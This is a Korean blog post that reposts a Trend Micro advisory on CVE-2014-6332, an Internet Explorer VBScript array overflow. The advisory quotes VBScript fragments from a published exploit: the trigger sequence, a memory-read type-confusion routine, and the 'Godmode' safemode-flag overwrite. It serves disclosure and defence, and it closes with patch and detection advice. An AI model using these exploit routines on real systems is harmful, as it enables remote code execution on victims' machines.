혹시 뱅커에 감염되어서 제대로 치료했는데도 인터넷안되면 설정에 들어가서 네트워크 설정부분에서 DNS 자동으로 풀어주어야 한다. 그부분은 백신회사에서 임의로 바꿔줄수없어서 바꿔주지않을겁니다. 참조하세요
http://blog.trendmicro.com/trendlabs-security-intelligence/a-killer-combo-critical-vulnerability-and-godmode-exploitation-on-cve-2014-6332/
보면 재밌는 내용이 많이 있어서 신기한 취약점...문제는 윈도우에서 ie는 거의다 동작하게 된다는점이다. 크롬이나 다른브라우저는 동작안하지만....뭐 읽어보면 다 대충 내용나온다...호오~?
위에는 확인된 vbs 파일에 대한 정보이며, 해당 코드는 1/10정도....코드 드럽고 어렵게 꼬아놨다..ㅠ 그냥 비슷한 부분의 메모리 할당 부분이있어서 참고용으로 올린다. 파일도 올릴수있으면 참 좋은데;;공개할수없어 저 또한 죄송하군요 ㅠ
---------------------------------------
Microsoft released 16 security updates during its Patch Tuesday release for November 2014, among which includes CVE-2014-6332, or the Windows OLE Automation Array Remote Code Execution Vulnerability (covered in MS14-064). We would like to bring attention to this particular vulnerability for the following reasons:
- It impacts almost all Microsoft Windows versions from Windows 95 onward.
- A stable exploit exists and works in versions of Internet Explorer from 3 to 11, and can bypass operating system (OS) security utilities and protection such as Enhanced Mitigation Experience Toolkit (EMET), Data Execution Prevention (DEP), Address Space Layout Randomization (ASLR),and Control-Flow Integrity (CFI).
- Proof of concept (PoC) exploit code has recently been published by a Chinese researcher namedYuange1975.
- Based on the PoC, it’s fairly simple to write malicious VBScript code for attacks.
- Attackers may soon utilize the PoC to target unpatched systems.
About the CVE-2014-6332 Vulnerability
The bug is caused by improper handling resizing an array in the Internet Explorer VBScript engine. VBScript is the default scripting language in ASP (Active Server Pages). Other browsers like Google Chrome do not support VBScript, but Internet Explorer still supports it via a legacy engine to ensure backward compatibility.
An array has the following structure in the VBScript engine:
typedef struct tagSAFEARRAY
{
USHORT cDims;
USHORT fFeatures;
ULONG cbElements;
ULONG cLocks;
PVOID pvData;
SAFEARRAYBOUND rgsabound[ 1 ];
} SAFEARRAY;
typedef struct tagSAFEARRAYBOUND
{
ULONG cElements;
LONG lLbound;
} SAFEARRAYBOUND;
pvData is a pointer to address of the array, and rgsabound [0].cElements stands for the numbers of elements in the array.
Each element is a structure Var, whose size is 0×10:
Var
{
0×00: varType
0×04: padding
0×08: dataHigh
0x0c: dataLow
}
A bug may occur upon redefining an array with new length in VBScript, such as:
redim aa(a0)
…
redim Preserve aa(a1)
VBScript engine will call function OLEAUT32!SafeArrayRedim(), whose arguments are:
First: ppsaOUT //the safeArray address
Second: psaboundNew //the address of SAFEARRAY, which contains the new
//number of elements: arg_newElementsSize
Figure 1. Code of function SafeArrayRedim()
The function SafeArrayRedim() does the following steps:
- Get the size of old array: oldSize= arg_pSafeArray-> cbElements*0×10
- Set the new number to the array: arg_pSafeArray-> rgsabound[0].cElements = arg_newElementsSize
- Get the size of new array: newSize = arg_newElementsSize*0×10
- Get the difference: sub = newSize – oldSize
- If sub > 0, goto bigger_alloc (this branch has no problem)
- If sub < 0, goto less_alloc to reallocate memory by function ole32!CRetailMalloc_Realloc()
In this case, go this branch. Though sub > 0×8000000 as unsigned integer, sub is treated as negative value here because opcode jge works on signed integer.
Here is the problem: integer overflow (singed/unsigned)
- cElements is used as unsigned integer; oldsize, newsize, sub is used as unsigned integer
- sub is treated as signed integer in opcode jge comparision
The Dangerous PoC Exploit
This critical vulnerability can be triggered in a simple way. For VBScript engine, there is a magic exploitation method called “Godmode”. With “Godmode,” arbitrary code written in VBScript can break the browser sandbox. Attackers do not need to write shellcode and ROP; DEP and ALSR protection is naturally useless here.
Because we can do almost everything by VBScript in “Godmode,” a file infector payload is not necessary in this situation. This makes it easy to evade the detections on heap spray, Return Oriented Programming (ROP), shellcode, or a file infector payload.
Next, we’ll see how the reliable the existing PoC is.
Exploiting the vulnerability
Firstl, the exploit PoC does type confusion using this vulnerability. It defines two arrays: aa and ab, and then resizesaa with a huge number.
a0=a0+a3
a1=a0+2
a2=a0+&h8000000
redim Preserve aa(a0)
redim ab(a0)
redim Preserve aa(a2)
Because the type of arrays aa and ab are same, and the elements number is equal, it’s possible to have the array memory layout as following:
Figure 2. Expected memory layout of array aa, ab
When redim Preserve aa(a2)” ,a2 = a0+&h8000000, is run, it may trigger the vulnerability. If that happens, the out-of-bound elements of aa are accessible. The PoC then uses it to do type confusion on element of ab.
But the memory layout does not always meet the expectation, and the bug may not be triggered every time. So the PoC tries many times to meet the following condition:
- The address of ab(b0) is a pointer to the type field (naturally, b0=0 here)
- The address of aa(a0) is a pointer to the data high field of ab(b0)
Which means: address( aa(a0)) is equal to address( ab(b0)) + 8
Figure 3. Memory layout the conditions meet
Then, modifying the ab(b0) data high field equals to modifying the aa(a0) type field — typeconfusion.
Secondly, the PoC makes any memory readable by the type confusion.
Function readmem(add)
On Error Resume Next
ab(b0)=0 // type of aa(a0) is changed to int
aa(a0)=add+4 // the high data of aa(a0) is set to add+4
ab(b0)=1.69759663316747E-313 // thisis 0×0000000800000008
// now, type of aa(a0) is changed to bstr
readmem=lenb(aa(a0)) // length of bstr stores in pBstrBase-4
// lenb(aa(a0)) = [pBstrBase-4] = [add+4-4]
ab(b0)=0
end function
The abovementioned function can return any [add], which is used to enter “Godmode.”
Enter “Godmode”
We know that VBScript can be used in browsers or the local shell. When used in the browser, its behavior is restricted, but the restriction is controlled by some flags. That means, if the flags are modified, VBScript in HTML can do everything as in the local shell. That way, attackers can write malicious code in VBScript easily, which is known as “Godmode.”
The following function in the PoC exploit is used to enter “Godmode”. The said flags exists in the object COleScript. If the address of COleScript is retrieved, the flags can be modified.
function setnotsafemode()
On Error Resume Next
i=mydata()
i=readmemo(i+8) // get address of CScriptEntryPoint which includes pointer to COleScript
i=readmemo(i+16) // get address of COleScript which includes pointer the said safemode flags
j=readmemo(i+&h134)
for k=0 to &h60 step 4 // for compatibility of different IE versions
j=readmemo(i+&h120+k)
if(j=14) then
j=0
redim Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4) // change safemode flags
redim Preserve aa(a0)
j=0
j=readmemo(i+&h120+k)
Exit for
end if
next
ab(2)=1.69759663316747E-313
runmumaa()
end function
Here, function mydata() can return a variable of function object, which includes a pointer to CScriptEntryPoint. Then we raise a question: If the address of a function object is not accessible using VBScript, how does the PoC make it? The following function shows a smart trick in this PoC:
function mydata()
On Error Resume Next
i=testaa
i=null
redim Preserve aa(a2)
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314
aa(a1+2)=myarray
ab(2)=1.74088534731324E-310
mydata=aa(a1)
redim Preserve aa(a0)
end function
The key is in the first three lines of the function:
i=testaa
We know that we cannot get the address of a function object in VBScript. This code seems to be nonsense. However, let’s see the call stack when executing it.
Before the above line, the stack is empty. First, the VM translates testaa as a function, and puts its address into the stack. Second, VM translates the address of i, and tries assignment operation. However, the VM finds that the type in stack is function object. So it returns an error and enter error handling. Because “On Error Resume Next” is set in the function mydata(), VM will continue the next sentence even when the error occurs.
i=null
For this line, VM translates “null” first. For “null”, VM will not put a data into stack. Instead, it only changes the type of the last data in stack to 0×1!! Then VM assigns it to i, — that’s just the address of function testaa(), though the type of i is VT_NULL.
The abovementioned lines are used to leak the address of function testaa() from a VT_NULL type.
Conclusion
The “Godmode” of legacy VBScript engine is the most dangerous risk in Internet Explorer. If a suitable vulnerability is found, attackers can develop stable exploits within small effort. CVE-2014-6322 is just one of vulnerabilities the most easily to do that. Fortunately, Microsoft has released patch for that particular CVE, but we still expect Microsoft to provide direct fix for “Godmode,” in the same way Chrome abandoned support for VBScript.
In addition, this vulnerability is fairly simple to exploit and to bypass all protection to enter into VBScript GodMode(), which in turn can make attackers ‘super user’ thus having full control on the system. Attackers do not necessarily need shellcode to compromise their targets.
The scope of affected Windows versions is very broad, with many affected versions (such as Windows 95 and WIndows XP) no longer supported. This raises the risk for these older OSes in particular, as they are vulnerable to exploits.
This vulnerability is very rare since it affects almost OS versions, and at the same time the exploit is advanced that it bypasses all Microsoft protections including DEP, ASLR, EMET, and CFI. With this killer combination of advanced exploitation technique and wide arrayed of affected platforms, there’s a high possibility that attackers may leverage this in their future attacks.
Solutions and Recommendations
We highly recommend users to implement the following best practices:
- Install Microsoft patches immediately. Using any other browser aside from Internet Explorer before patching may also mitigate the risks.
- We advise users also to employ newer versions of Windows platforms that are supported by Microsoft.
Trend Micro™ Deep Security and Vulnerability Protection (formerly the Intrusion Defense Firewall plug-in for OfficeScan), part of our Smart Protection Suites, are our recommended solutions for enterprises to defend their systems against these types of attacks and customers with the latest rules are protected against this vulnerability.
Specifically, Trend Micro has released the following Deep Packet Inspection (DPI) rules to protect user systems from threats that may leverage this vulnerability:
- 1006324 – Windows OLE Automation Array Remote Code Execution Vulnerability (CVE-2014-6332)
- 1006290 – Microsoft Windows OLE Remote Code Execution Vulnerability
- 1006291 – Microsoft Windows OLE Remote Code Execution Vulnerability -1
In addition to the above, we have released Network Content Inspection and Network Content Correlation patterns for Trend Micro Deep Discovery Inspector to provide hosts visibility for either the source or affected hosts of the said vulnerability when an exploit attempt occurs. OfficeScan 11 also detects exploit attempts in this manner.
For more information on the support for all vulnerabilities disclosed in this month’s Patch Tuesday, go to our Threat Encyclopedia page
코드_가상화_기법이_적용된_악성코드_분석_방법_연구_위탁과제_최종보고서 (1).pdf